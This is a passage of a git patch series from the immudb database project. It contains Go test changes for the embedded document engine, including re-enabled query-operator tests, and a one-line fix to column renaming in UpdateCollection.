engine.DeleteCollection(context.Background(), collectionName) - require.NoError(t, err) - - _, err := engine.sqlEngine.Query(context.Background(), nil, "SELECT COUNT(*) FROM mycollection", nil) - require.ErrorIs(t, err, sql.ErrTableDoesNotExist) - - collectionList, err := engine.ListCollections(context.Background()) - require.NoError(t, err) - require.Equal(t, 0, len(collectionList)) - }) -} - -func TestUpdateCollection(t *testing.T) { - engine := makeEngine(t) - - collectionName := "mycollection" + func TestFloatSupport(t *testing.T) { + ctx := context.Background() + engine := makeEngine(t) - t.Run("create collection and add index", func(t *testing.T) { + collectionName := "mycollection" err := engine.CreateCollection( - context.Background(), + ctx, collectionName, map[string]*IndexOption{ - "number": {Type: sql.Float64Type}, - "name": {Type: sql.VarcharType}, - "pin": {Type: sql.IntegerType}, - "country": {Type: sql.VarcharType}, + "number": {Type: sql.Float64Type}, }, ) require.NoError(t, err) - }) - t.Run("update collection by deleting indexes", func(t *testing.T) { - // update collection - err := engine.UpdateCollection( - context.Background(), - collectionName, - nil, - []string{"number", "name"}, - ) + catalog, err := engine.sqlEngine.Catalog(ctx, nil) require.NoError(t, err) - // get collection - indexes, err := engine.GetCollection(context.Background(), collectionName) + table, err := catalog.GetTableByName(collectionName) require.NoError(t, err) - require.Equal(t, 3, len(indexes)) - - primaryKeyCount := 0 - indexKeyCount := 0 - for _, idx := range indexes { - // check if primary key - if idx.IsPrimary() { - primaryKeyCount += len(idx.Cols()) - } else { - indexKeyCount += len(idx.Cols()) - } - } - require.Equal(t, 1, primaryKeyCount) - require.Equal(t, 2, indexKeyCount) + require.Equal(t, collectionName, table.Name()) - }) + col, err := table.GetColumnByName("number") + require.NoError(t, err) + require.Equal(t, sql.Float64Type, col.Type()) - t.Run("update collection by adding indexes", func(t *testing.T) { - // update collection - err := engine.UpdateCollection( - context.Background(), - collectionName, - map[string]*IndexOption{ - "data1": {Type: sql.VarcharType}, - "data2": {Type: sql.VarcharType}, - "data3": {Type: sql.VarcharType}, + // add document to collection + _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "number": { + Kind: &structpb.Value_NumberValue{NumberValue: 3.1}, + }, }, - nil, - ) + }) require.NoError(t, err) - // get collection - indexes, err := engine.GetCollection(context.Background(), collectionName) - require.NoError(t, err) - require.Equal(t, 6, len(indexes)) - - primaryKeyCount := 0 - indexKeyCount := 0 - for _, idx := range indexes { - // check if primary key - if idx.IsPrimary() { - primaryKeyCount += len(idx.Cols()) - } else { - indexKeyCount += len(idx.Cols()) - } + // query document + expressions := []*Query{ + { + Field: "number", + Operator: sql.EQ, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 3.1}, + }, + }, } - require.Equal(t, 1, primaryKeyCount) - require.Equal(t, 5, indexKeyCount) - }) -} -func TestCollectionUpdateWithDeletedIndex(t *testing.T) { - engine := makeEngine(t) + // check if document is updated + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) + require.NoError(t, err) + defer reader.Close() + docs, err := reader.Read(ctx, 1) + require.NoError(t, err) - collectionName := "mycollection" + require.Equal(t, 1, len(docs)) - t.Run("create collection and add index", func(t *testing.T) { - err := engine.CreateCollection( - context.Background(), - collectionName, - map[string]*IndexOption{ - "number": {Type: sql.Float64Type}, - }, - ) - require.NoError(t, err) - }) + // retrieve document + doc := docs[0] + require.Equal(t, 3.1, doc.Fields["number"].GetNumberValue()) + } - t.Run("update collection by deleting indexes", func(t *testing.T) { - // update collection - err := engine.UpdateCollection( - context.Background(), - collectionName, - nil, - []string{"number"}, - ) - require.NoError(t, err) + func TestDeleteCollection(t *testing.T) { + engine := makeEngine(t) - // get collection - indexes, err := engine.GetCollection(context.Background(), collectionName) + // create collection + collectionName := "mycollection" + err := engine.CreateCollection(context.Background(), collectionName, map[string]*IndexOption{ + "idx": {Type: sql.IntegerType}, + }) require.NoError(t, err) - require.Equal(t, 1, len(indexes)) - - primaryKeyCount := 0 - indexKeyCount := 0 - for _, idx := range indexes { - // check if primary key - if idx.IsPrimary() { - primaryKeyCount += len(idx.Cols()) - } else { - indexKeyCount += len(idx.Cols()) - } + + // add documents to collection + for i := 1.0; i <= 10; i++ { + _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "idx": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + }, + }) + require.NoError(t, err) } - require.Equal(t, 1, primaryKeyCount) - require.Equal(t, 0, indexKeyCount) - }) + t.Run("delete collection and check if it is empty", func(t *testing.T) { + err = engine.DeleteCollection(context.Background(), collectionName) + require.NoError(t, err) - t.Run("update collection by adding the same index should pass", func(t *testing.T) { - // update collection - err := engine.UpdateCollection( - context.Background(), - collectionName, - map[string]*IndexOption{ - "number": {Type: sql.Float64Type}, - }, - nil, - ) - require.NoError(t, err) + _, err := engine.sqlEngine.Query(context.Background(), nil, "SELECT COUNT(*) FROM mycollection", nil) + require.ErrorIs(t, err, sql.ErrTableDoesNotExist) - // get collection - indexes, err := engine.GetCollection(context.Background(), collectionName) - require.NoError(t, err) - require.Equal(t, 2, len(indexes)) - - primaryKeyCount := 0 - indexKeyCount := 0 - for _, idx := range indexes { - // check if primary key - if idx.IsPrimary() { - primaryKeyCount += len(idx.Cols()) - } else { - indexKeyCount += len(idx.Cols()) - } - } - require.Equal(t, 1, primaryKeyCount) - require.Equal(t, 1, indexKeyCount) - }) -} + collectionList, err := engine.ListCollections(context.Background()) + require.NoError(t, err) + require.Equal(t, 0, len(collectionList)) + }) + } -func TestBulkInsert(t *testing.T) { - ctx := context.Background() - engine := makeEngine(t) + func TestUpdateCollection(t *testing.T) { + engine := makeEngine(t) - // create collection - collectionName := "mycollection" - err := engine.CreateCollection(ctx, collectionName, map[string]*IndexOption{ - "country": {Type: sql.VarcharType}, - "price": {Type: sql.Float64Type}, - }) - require.NoError(t, err) + collectionName := "mycollection" - // add documents to collection - docs := make([]*structpb.Struct, 0) - for i := 1.0; i <= 10; i++ { - doc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "country": { - Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, + t.Run("create collection and add index", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + collectionName, + map[string]*IndexOption{ + "number": {Type: sql.Float64Type}, + "name": {Type: sql.VarcharType}, + "pin": {Type: sql.IntegerType}, + "country": {Type: sql.VarcharType}, }, - "price": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, + ) + require.NoError(t, err) + }) + + t.Run("update collection by deleting indexes", func(t *testing.T) { + // update collection + err := engine.UpdateCollection( + context.Background(), + collectionName, + nil, + []string{"number", "name"}, + ) + require.NoError(t, err) + + // get collection + indexes, err := engine.GetCollection(context.Background(), collectionName) + require.NoError(t, err) + require.Equal(t, 3, len(indexes)) + + primaryKeyCount := 0 + indexKeyCount := 0 + for _, idx := range indexes { + // check if primary key + if idx.IsPrimary() { + primaryKeyCount += len(idx.Cols()) + } else { + indexKeyCount += len(idx.Cols()) + } + } + require.Equal(t, 1, primaryKeyCount) + require.Equal(t, 2, indexKeyCount) + + }) + + t.Run("update collection by adding indexes", func(t *testing.T) { + // update collection + err := engine.UpdateCollection( + context.Background(), + collectionName, + map[string]*IndexOption{ + "data1": {Type: sql.VarcharType}, + "data2": {Type: sql.VarcharType}, + "data3": {Type: sql.VarcharType}, }, - }, - } - docs = append(docs, doc) + nil, + ) + require.NoError(t, err) + + // get collection + indexes, err := engine.GetCollection(context.Background(), collectionName) + require.NoError(t, err) + require.Equal(t, 6, len(indexes)) + + primaryKeyCount := 0 + indexKeyCount := 0 + for _, idx := range indexes { + // check if primary key + if idx.IsPrimary() { + primaryKeyCount += len(idx.Cols()) + } else { + indexKeyCount += len(idx.Cols()) + } + } + require.Equal(t, 1, primaryKeyCount) + require.Equal(t, 5, indexKeyCount) + }) } - docIDs, txID, err := engine.BulkInsertDocuments(ctx, collectionName, docs) - require.NoError(t, err) + func TestCollectionUpdateWithDeletedIndex(t *testing.T) { + engine := makeEngine(t) - require.Equal(t, 10, len(docIDs)) - require.Equal(t, uint64(2), txID) + collectionName := "mycollection" - expressions := []*Query{ - { - Field: "price", - Operator: sql.GE, // EQ - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 0}, - }, - }, - } + t.Run("create collection and add index", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + collectionName, + map[string]*IndexOption{ + "number": {Type: sql.Float64Type}, + }, + ) + require.NoError(t, err) + }) - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() + t.Run("update collection by deleting indexes", func(t *testing.T) { + // update collection + err := engine.UpdateCollection( + context.Background(), + collectionName, + nil, + []string{"number"}, + ) + require.NoError(t, err) - docs, _ = reader.Read(ctx, 10) - require.Equal(t, 10, len(docs)) + // get collection + indexes, err := engine.GetCollection(context.Background(), collectionName) + require.NoError(t, err) + require.Equal(t, 1, len(indexes)) + + primaryKeyCount := 0 + indexKeyCount := 0 + for _, idx := range indexes { + // check if primary key + if idx.IsPrimary() { + primaryKeyCount += len(idx.Cols()) + } else { + indexKeyCount += len(idx.Cols()) + } + } + require.Equal(t, 1, primaryKeyCount) + require.Equal(t, 0, indexKeyCount) - for i, doc := range docs { - require.Equal(t, float64(i+1), doc.Fields["price"].GetNumberValue()) - } -} + }) -func newQuery(field string, op int, value *structpb.Value) *Query { - return &Query{ - Field: field, - Operator: op, - Value: value, + t.Run("update collection by adding the same index should pass", func(t *testing.T) { + // update collection + err := engine.UpdateCollection( + context.Background(), + collectionName, + map[string]*IndexOption{ + "number": {Type: sql.Float64Type}, + }, + nil, + ) + require.NoError(t, err) + + // get collection + indexes, err := engine.GetCollection(context.Background(), collectionName) + require.NoError(t, err) + require.Equal(t, 2, len(indexes)) + + primaryKeyCount := 0 + indexKeyCount := 0 + for _, idx := range indexes { + // check if primary key + if idx.IsPrimary() { + primaryKeyCount += len(idx.Cols()) + } else { + indexKeyCount += len(idx.Cols()) + } + } + require.Equal(t, 1, primaryKeyCount) + require.Equal(t, 1, indexKeyCount) + }) } -} -func TestPaginationOnReader(t *testing.T) { - ctx := context.Background() - engine := makeEngine(t) + func TestBulkInsert(t *testing.T) { + ctx := context.Background() + engine := makeEngine(t) - // create collection - collectionName := "mycollection" - err := engine.CreateCollection(ctx, collectionName, map[string]*IndexOption{ - "idx": {Type: sql.IntegerType}, - "country": {Type: sql.VarcharType}, - "pincode": {Type: sql.IntegerType}, - }) - require.NoError(t, err) + // create collection + collectionName := "mycollection" + err := engine.CreateCollection(ctx, collectionName, map[string]*IndexOption{ + "country": {Type: sql.VarcharType}, + "price": {Type: sql.Float64Type}, + }) + require.NoError(t, err) - // add documents to collection - for i := 1.0; i <= 20; i++ { - _, _, err = engine.InsertDocument(ctx, collectionName, &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, - }, - "country": { - Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, - }, - "idx": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, + // add documents to collection + docs := make([]*structpb.Struct, 0) + for i := 1.0; i <= 10; i++ { + doc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "country": { + Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, + }, + "price": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, }, - }, - }) + } + docs = append(docs, doc) + } + + docIDs, txID, err := engine.BulkInsertDocuments(ctx, collectionName, docs) require.NoError(t, err) - } - t.Run("test reader for multiple reads", func(t *testing.T) { + require.Equal(t, 10, len(docIDs)) + require.Equal(t, uint64(2), txID) + expressions := []*Query{ { - Field: "pincode", - Operator: sql.GE, + Field: "price", + Operator: sql.GE, // EQ Value: &structpb.Value{ Kind: &structpb.Value_NumberValue{NumberValue: 0}, }, @@ -946,22 +875,83 @@ func TestPaginationOnReader(t *testing.T) { require.NoError(t, err) defer reader.Close() - results := make([]*structpb.Struct, 0) - // use the reader to read paginated documents 5 at a time - for i := 0; i < 4; i++ { - docs, _ := reader.Read(ctx, 5) - require.Equal(t, 5, len(docs)) - results = append(results, docs...) + docs, _ = reader.Read(ctx, 10) + require.Equal(t, 10, len(docs)) + + for i, doc := range docs { + require.Equal(t, float64(i+1), doc.Fields["price"].GetNumberValue()) } + } + + func newQuery(field string, op int, value *structpb.Value) *Query { + return &Query{ + Field: field, + Operator: op, + Value: value, + } + } + + func TestPaginationOnReader(t *testing.T) { + ctx := context.Background() + engine := makeEngine(t) + + // create collection + collectionName := "mycollection" + err := engine.CreateCollection(ctx, collectionName, map[string]*IndexOption{ + "idx": {Type: sql.IntegerType}, + "country": {Type: sql.VarcharType}, + "pincode": {Type: sql.IntegerType}, + }) + require.NoError(t, err) + // add documents to collection for i := 1.0; i <= 20; i++ { - doc := results[int(i-1)] - require.Equal(t, i, doc.Fields["idx"].GetNumberValue()) + _, _, err = engine.InsertDocument(ctx, collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + "country": { + Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, + }, + "idx": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + }, + }) + require.NoError(t, err) } - }) -} -*/ + t.Run("test reader for multiple reads", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.GE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 0}, + }, + }, + } + + reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) + require.NoError(t, err) + defer reader.Close() + + results := make([]*structpb.Struct, 0) + // use the reader to read paginated documents 5 at a time + for i := 0; i < 4; i++ { + docs, _ := reader.Read(ctx, 5) + require.Equal(t, 5, len(docs)) + results = append(results, docs...) + } + + for i := 1.0; i <= 20; i++ { + doc := results[int(i-1)] + require.Equal(t, i, doc.Fields["idx"].GetNumberValue()) + } + }) + } +*/ func TestDeleteDocument(t *testing.T) { ctx := context.Background() engine := makeEngine(t) From 64e5a52110bd83e7a60bb92ec2bd10e050eaaa5b Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 4 May 2023 11:02:22 -0300 Subject: [PATCH 0498/1062] fix(embedded/document): proper column renaming Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index caf6e7b397..0580633cd9 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -289,7 +289,7 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, id _, _, err := e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, - []sql.SQLStmt{sql.NewRenameColumnStmt(table.Name(), idFieldName, idFieldName)}, + []sql.SQLStmt{sql.NewRenameColumnStmt(table.Name(), currIDFieldName, idFieldName)}, nil, ) if err != nil { From 82423ce593ba4795e832de58462bd764c8bee479 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 4 May 2023 14:31:29 -0300 Subject: [PATCH 0499/1062] test(embedded/document): wip re-enabling document engine test cases Signed-off-by: Jeronimo Irazabal --- embedded/document/engine_test.go | 475 +++++++++++++++++-------------- 1 file changed, 258 insertions(+), 217 deletions(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 678f7aa2cf..dbd308caf4 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -17,6 +17,7 @@ package document import ( "context" + "fmt" "testing" "github.com/codenotary/immudb/embedded/sql" @@ -142,12 +143,8 @@ func TestGetDocument(t *testing.T) { // add document to collection _, docID, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ - "country": { - Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, - }, - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: 2}, - }, + "country": structpb.NewStringValue("wonderland"), + "pincode": structpb.NewNumberValue(2), }, }) require.NoError(t, err) @@ -159,16 +156,12 @@ func TestGetDocument(t *testing.T) { { Field: "country", Operator: protomodel.ComparisonOperator_EQ, - Value: &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, - }, + Value: structpb.NewStringValue("wonderland"), }, { Field: "pincode", Operator: protomodel.ComparisonOperator_EQ, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 2}, - }, + Value: structpb.NewNumberValue(2), }, }, }, @@ -210,12 +203,8 @@ func TestDocumentAudit(t *testing.T) { // add document to collection _, docID, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ - "country": { - Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, - }, - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: 2}, - }, + "country": structpb.NewStringValue("wonderland"), + "pincode": structpb.NewNumberValue(2), }, }) require.NoError(t, err) @@ -227,9 +216,7 @@ func TestDocumentAudit(t *testing.T) { { Field: "country", Operator: protomodel.ComparisonOperator_EQ, - Value: &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, - }, + Value: structpb.NewStringValue("wonderland"), }, }, }, @@ -238,15 +225,9 @@ func TestDocumentAudit(t *testing.T) { _, _, revision, err := engine.UpdateDocument(context.Background(), collectionName, query, &structpb.Struct{ Fields: map[string]*structpb.Value{ - "_id": { - Kind: &structpb.Value_StringValue{StringValue: docID.EncodeToHexString()}, - }, - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: 2}, - }, - "country": { - Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, - }, + "_id": structpb.NewStringValue(docID.EncodeToHexString()), + "pincode": structpb.NewNumberValue(2), + "country": structpb.NewStringValue("wonderland"), }, }) require.NoError(t, err) @@ -265,254 +246,312 @@ func TestDocumentAudit(t *testing.T) { } } -/* - func TestQueryDocuments(t *testing.T) { - ctx := context.Background() - engine := makeEngine(t) +func TestQueryDocuments(t *testing.T) { + ctx := context.Background() + engine := makeEngine(t) - // create collection - collectionName := "mycollection" - err := engine.CreateCollection(context.Background(), collectionName, map[string]*IndexOption{ - "pincode": {Type: sql.IntegerType}, - "country": {Type: sql.VarcharType}, - "idx": {Type: sql.IntegerType}, + collectionName := "mycollection" + + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "country", Type: protomodel.FieldType_STRING}, + {Name: "pincode", Type: protomodel.FieldType_INTEGER}, + }, + []*protomodel.Index{ + {Fields: []string{"country"}}, + {Fields: []string{"pincode"}}, + }, + ) + require.NoError(t, err) + + // add documents to collection + for i := 1.0; i <= 10; i++ { + _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": structpb.NewNumberValue(i), + "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), + }, }) require.NoError(t, err) + } - // add documents to collection - for i := 1.0; i <= 10; i++ { - _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, - }, - "country": { - Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, - }, - "idx": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, + t.Run("test query with != operator", func(t *testing.T) { + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_NE, + Value: structpb.NewNumberValue(2), + }, }, }, - }) - require.NoError(t, err) + }, } - t.Run("test query with != operator", func(t *testing.T) { - expressions := []*Query{ - { - Field: "pincode", - Operator: sql.NE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 5}, - }, - }, - } + reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + require.NoError(t, err) + defer reader.Close() - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 9, len(docs)) - }) + docs, err := reader.ReadN(ctx, 10) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 9, len(docs)) + }) - t.Run("test query with < operator", func(t *testing.T) { - expressions := []*Query{ + t.Run("test query with < operator", func(t *testing.T) { + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ { - Field: "pincode", - Operator: sql.LT, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 11}, + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_LT, + Value: structpb.NewNumberValue(10), + }, }, }, - } + }, + } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 10, len(docs)) - }) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + require.NoError(t, err) + defer reader.Close() - t.Run("test query with <= operator", func(t *testing.T) { - expressions := []*Query{ + docs, err := reader.ReadN(ctx, 10) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 9, len(docs)) + }) + + t.Run("test query with <= operator", func(t *testing.T) { + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ { - Field: "pincode", - Operator: sql.LE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 9}, + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_LE, + Value: structpb.NewNumberValue(9), + }, }, }, - } + }, + } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 9, len(docs)) - }) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + require.NoError(t, err) + defer reader.Close() - t.Run("test query with > operator", func(t *testing.T) { - expressions := []*Query{ - { - Field: "pincode", - Operator: sql.GT, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 5}, - }, - }, - } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 5, len(docs)) - }) + docs, err := reader.ReadN(ctx, 10) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 9, len(docs)) + }) - t.Run("test query with >= operator", func(t *testing.T) { - expressions := []*Query{ + t.Run("test query with > operator", func(t *testing.T) { + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ { - Field: "pincode", - Operator: sql.GE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 10}, + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_GT, + Value: structpb.NewNumberValue(5), + }, }, }, - } + }, + } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 1, len(docs)) - }) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + require.NoError(t, err) + defer reader.Close() - t.Run("test group query with != operator", func(t *testing.T) { - expressions := []*Query{ - { - Field: "pincode", - Operator: sql.NE, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 5}, - }, - }, + docs, err := reader.ReadN(ctx, 10) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 5, len(docs)) + }) + + t.Run("test query with >= operator", func(t *testing.T) { + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ { - Field: "country", - Operator: sql.NE, - Value: &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "country-6"}, + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: structpb.NewNumberValue(10), + }, }, }, - } + }, + } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 8, len(docs)) - }) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + require.NoError(t, err) + defer reader.Close() - t.Run("test group query with < operator", func(t *testing.T) { - expressions := []*Query{ - { - Field: "pincode", - Operator: sql.LT, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 11}, - }, - }, + docs, err := reader.ReadN(ctx, 10) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 1, len(docs)) + }) + + t.Run("test group query with != operator", func(t *testing.T) { + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ { - Field: "idx", - Operator: sql.LT, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 5}, + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "country", + Operator: protomodel.ComparisonOperator_NE, + Value: structpb.NewStringValue("country-1"), + }, + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_NE, + Value: structpb.NewNumberValue(5), + }, }, }, - } + }, + } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 4, len(docs)) - }) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + require.NoError(t, err) + defer reader.Close() - t.Run("test group query with > operator", func(t *testing.T) { - expressions := []*Query{ + docs, err := reader.ReadN(ctx, 10) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 8, len(docs)) + }) + + t.Run("test group query with < operator", func(t *testing.T) { + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ { - Field: "idx", - Operator: sql.GT, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 7}, + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_LT, + Value: structpb.NewNumberValue(5), + }, }, }, + }, + } + + reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + require.NoError(t, err) + defer reader.Close() + + docs, err := reader.ReadN(ctx, 10) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 4, len(docs)) + }) + + t.Run("test group query with > operator", func(t *testing.T) { + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ { - Field: "pincode", - Operator: sql.GT, - Value: &structpb.Value{ - Kind: &structpb.Value_NumberValue{NumberValue: 5}, + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "country", + Operator: protomodel.ComparisonOperator_GT, + Value: structpb.NewStringValue("country-1"), + }, + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_GT, + Value: structpb.NewNumberValue(5), + }, }, }, - } + }, + } - reader, err := engine.GetDocuments(ctx, collectionName, expressions, 0) - require.NoError(t, err) - defer reader.Close() - docs, err := reader.Read(ctx, 20) - require.ErrorIs(t, err, ErrNoMoreDocuments) - require.Equal(t, 3, len(docs)) - }) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + require.NoError(t, err) + defer reader.Close() + docs, err := reader.ReadN(ctx, 10) + require.ErrorIs(t, err, ErrNoMoreDocuments) + require.Equal(t, 5, len(docs)) + }) } +/* func TestDocumentUpdate(t *testing.T) { // Create a new engine instance ctx := context.Background() - e := makeEngine(t) + engine := makeEngine(t) - // create collection // Create a test collection with a single document collectionName := "test_collection" - err := e.CreateCollection(ctx, collectionName, map[string]*IndexOption{ - "name": {Type: sql.VarcharType}, - "age": {Type: sql.Float64Type}, - }) + + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "age", Type: protomodel.FieldType_DOUBLE}, + }, + []*protomodel.Index{ + {Fields: []string{"name"}}, + {Fields: []string{"age"}}, + }, + ) require.NoError(t, err) - doc := &structpb.Struct{ + _, docID, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ - "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 30}}, + "name": structpb.NewStringValue("Alice"), + "age": structpb.NewNumberValue(30), }, - } - - docID, _, _, err := e.upsertDocument(ctx, collectionName, doc, &upsertOptions{isInsert: true}) - if err != nil { - t.Fatalf("Failed to insert test document: %v", err) - } - - // Prepare a query to find the document by name - queries := []*Query{newQuery("name", sql.EQ, &structpb.Value{ - Kind: &structpb.Value_StringValue{StringValue: "Alice"}, - })} + }) + require.NoError(t, err) t.Run("update document should pass without docID", func(t *testing.T) { - // Prepare a document to update the age field - toUpdateDoc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "name": {Kind: &structpb.Value_StringValue{StringValue: "Alice"}}, - "age": {Kind: &structpb.Value_NumberValue{NumberValue: 31}}, + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "_id", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewStringValue(docID.EncodeToHexString()), + }, + { + Field: "country", + 